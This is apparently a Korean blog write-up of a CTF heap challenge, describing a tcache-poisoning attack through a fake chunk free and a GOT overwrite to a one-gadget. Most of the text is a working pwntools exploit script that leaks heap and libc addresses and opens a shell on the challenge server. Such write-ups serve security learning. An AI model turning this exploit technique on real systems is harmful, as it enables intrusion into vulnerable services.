728x90
반응형
1. intro
핖스 블러드!
2. code 및 분석
2.1. code
너무 기니까 패쓰으으으으
2.2. 분석
heap 문제이길래 낮은 ubuntu 버전에서 바이너리를 실행하였는데, libc 2.34가 필요하단다?!
높은 버전은 안해봤는데?!
3. 취약점 확인 및 공격 준비
3.1. 취약점
힙은 어쩔 수 없는 바보인가보다...
결국은 페이크청크 프리를 통해 tcache poisionning이 가능하다.
3.2. 공격 준비
열심히 검색한 결과 문제와 거의 100% 동일한 writeup을 발견하였다.
CTFtime.org / MetaCTF CyberGames 2021 / Hookless / Writeup
원하는 크기만큼 할당이 가능하고, 삭제도, 에딧도 가능하기 때문에 유사하게 풀 수 있었다.
4. exploit
writeup의 풀이와 다른 점은, writeup에서는 stdout 구조체를 공략해서 stack leak 이후에 ret 변조를 하였다.
동일하게 할까 하다가, 메모리 leak이 되어있고, 이 문제에서는 PIE가 걸려있지 않기 때문에 그럴필요 없이 got을 덮으면 될 것 같았다.
다만, 하나만 덮기에는 많은 부분의 got이 0이 되어야하기에 free만 onegadget으로 바꾸고 나머지는 그대로 살려둔 뒤 free를 통해 셀을 실행시켰다.
from pwn import *
#p=process('./oven')
p=remote('0.cloud.chals.io', 21580)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def mk(slot,size,data):
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',str(slot).encode())
p.sendlineafter(b': ',str(size).encode())
p.sendafter(b': ',str(data).encode())
def dlt(slot):
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b': ',str(slot).encode())
def read(slot):
p.sendlineafter(b'> ',b'2')
p.sendlineafter(b': ',str(slot).encode())
return p.recvuntil(b'\n')
for i in range(9):
mk(i,0x100,'A'*0x100)
for i in range(6):
dlt(i)
dlt(8)
heap_leak = u64(read(0)[:-1].ljust(8,b'\x00')) << 12
print('heap base = ',hex(heap_leak))
dlt(7)
libc_base = u64(read(7)[:-1].ljust(8,b'\x00')) - 0x219ce0
print('libc base = ',hex(libc_base))
dlt(6)
mk(9,0x100,'B'*0x100)
dlt(7)
pay = b''
pay += b'\x00'*0x108
pay += p64(0x111)
pay += p64((0x404000)^heap_leak>>12)
#pay += p64((libc_base+0x21a780)^heap_leak>>12)
pay += b'\x33'*(0x130-len(pay))
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',str(10))
p.sendlineafter(b': ',str(0x130))
p.sendafter(b': ',pay)
mk(11,0x100,'B'*0x100)
ogt_offset = [330295, 965873, 965877, 965880]
pay = p64(libc_base + ogt_offset[3])
pay += p64(libc_base + libc.symbols['puts'])
pay += p64(libc_base + libc.symbols['fread'])
pay += p64(0)
pay += p64(0)
pay += p64(libc_base + libc.symbols['printf'])
pay += p64(libc_base + libc.symbols['fgets'])
pay += p64(libc_base + libc.symbols['malloc'])
pay += p64(libc_base + libc.symbols['atoi'])
pay += p64(0)
pay += p64(0)
pay += p64(0)
pay += p64(libc_base + libc.symbols['_IO_2_1_stdout_'])
pay += p64(0)
pay += p64(libc_base + libc.symbols['_IO_2_1_stdin_'])
pay += p64(0)
pay += p64(heap_leak+0x2a0)
pay += b'\x00'*(0x100-len(pay))
p.sendlineafter(b'> ',b'1')
p.sendlineafter(b': ',str(12))
p.sendlineafter(b': ',str(0x100))
p.sendafter(b': ',pay)
print('ok')
p.sendlineafter(b'> ',b'4')
p.sendlineafter(b': ',str(0))
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
Dreamhack CTF Season 3 Round #2 (🌱Div2) - ex-reg-ex (0) | 2023.04.22 |
---|---|
24@CTF '23 - loop (0) | 2023.04.17 |
LA CTF 2023 - crypto / rolling in the mud (0) | 2023.02.13 |
LA CTF 2023 - crypto / one-more-time-pad (0) | 2023.02.13 |
LA CTF 2023 - pwn/rut-roh-relro (0) | 2023.02.13 |